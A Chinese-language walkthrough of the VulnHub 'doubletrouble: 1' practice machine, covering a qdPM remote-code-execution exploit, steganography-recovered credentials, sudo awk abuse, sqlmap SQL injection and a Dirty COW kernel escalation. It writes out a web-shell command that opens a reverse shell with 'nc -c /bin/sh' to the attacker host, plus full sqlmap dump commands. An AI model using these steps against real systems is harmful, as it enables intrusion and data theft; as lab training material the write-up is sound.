1、靶机地址
靶机地址:doubletrouble: 1 ~ VulnHubdoubletrouble: 1, made by tasiyanci. Download & walkthrough links are available.https://vulnhub.com/entry/doubletrouble-1,743/
靶机介绍:看这个名字,就觉得内有玄机!双重麻烦!不过难度还是easy。来吧,开整!
2、渗透过程
首先,确定目标IP,56.163,本机56.160,探测163的端口,22和80
访问80端口,发现是qdpm的登录框,这个框架有很多现成的exp
搜一下,找到了,RCE,看看这个py文件的位置,然后复制到文件夹里
这个文件里面的格式有些混乱,直接运行会报错。把所有换行都换回来,更在一行后面
像这样!就没问题了
main里面有参数,要输入url, email,password,这上哪找去呢,扫个目录看看吧
有个secret,说不定有东西。
有个图,有过ctf经历的应该清楚,一般这种情况,肯定这个图隐写了什么东西。
瞅一眼,真难看!
下载到kali,用stegseek分析一下吧,没有的apt安装一个就行
好嘞,就知道有东西,得到邮箱和密码,直接冲!
它上传了一个后门文件,并且告诉了使用方法
http://192.168.56.163//uploads/users/665624-backdoor.php?cmd=whoami
把这个后门文件加上就能输入命令了
http://192.168.56.163//uploads/users/665624-backdoor.php?cmd=nc -c /bin/sh 192.168.56.160 4444
nc -vlp 4444 本地开启监听
反弹一个shell到本地吧
python3一个交互式shell,找了一圈也没啥东西,提个权试一试awk | GTFOBinshttps://gtfobins.github.io/gtfobins/awk/
sudo一下,发现可用的二进制程序awk,awk提权方式放在上面了
提权root后找了找,就根目录下有一个一毛一样的ova虚拟机,有点懵
回想起最初它的名字,双重麻烦,不会是套娃吧,再搞一层
利用python3开个服务,kali本地下载一下
然后用文件管理器,VMware用xshell或者其他文件管理器搞一下,把它搞到本机来,重新再导入一次虚拟机
运行后它的ip是56.164,那就再探测下看看,还是22和80,套娃!!!
访问web,一个建议登录框,扫目录没啥发现,登录框?还是这么简陋的,怕是有sql注入。
这里可以抓包,把用户名和密码的包抓下来放sqlmap里去跑,嫌麻烦直接就在页面上看看这个post包也可以弄!
下面就是基操了,不会的去看以前的文章,里面有!
sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" --dbs
sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble --tables -batch
sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble -T users --columns -batchsqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble -T users -C username,password --dump -batch
盲注出来了用户名和密码,ssh试一下,只能登录clapton
发现了第一个flag
6CEA7A737C7C651F6DA7669109B5FB52
那就提权吧,找了找也没啥东西了,试了好几个常用的方式,都不行,那就可能是内核提权了,linux 3.2,查一下漏洞库,发现有dw,dirty cow很好 (这里忽略我已经提权成功在复现操作)
searchsploit linux 3.2
有gcc编译环境,那就把这个.c文件传到这台机器上就行,用nc去传输下,操作在下面
然后编译一下,编译出个dw,给chmod 777
运行一下,好的,root了,发现第二个flag
1B8EEA89EA92CECB931E3CC25AA8DE21
最后,愉快的完成了套娃的靶机!!!!
3、思路总结
总结一下思路吧!
首先,web端:框架漏洞 目录中有图片隐写 RCE执行反弹shell sudo滥用提权root
然后,发现套娃虚拟机,通过文件管理器将它重新导入,再次渗透!
顺序还是一样的,web端:sql注入 post包 盲注 跑出用户名密码
ssh远程连接 收集信息 尝试提权 最后内核提权dw
完事收工!!!!轻松愉快~
对了,最开始的web端拿到邮箱和密码也可以登录那个框架,在里面穿个马再去控制,一样的,就是麻烦了些,有兴趣的可以去尝试下。多种方式,目标一致!
终于答辩结束,建议授予master degree,能够享几天轻松了!!!!继续努力!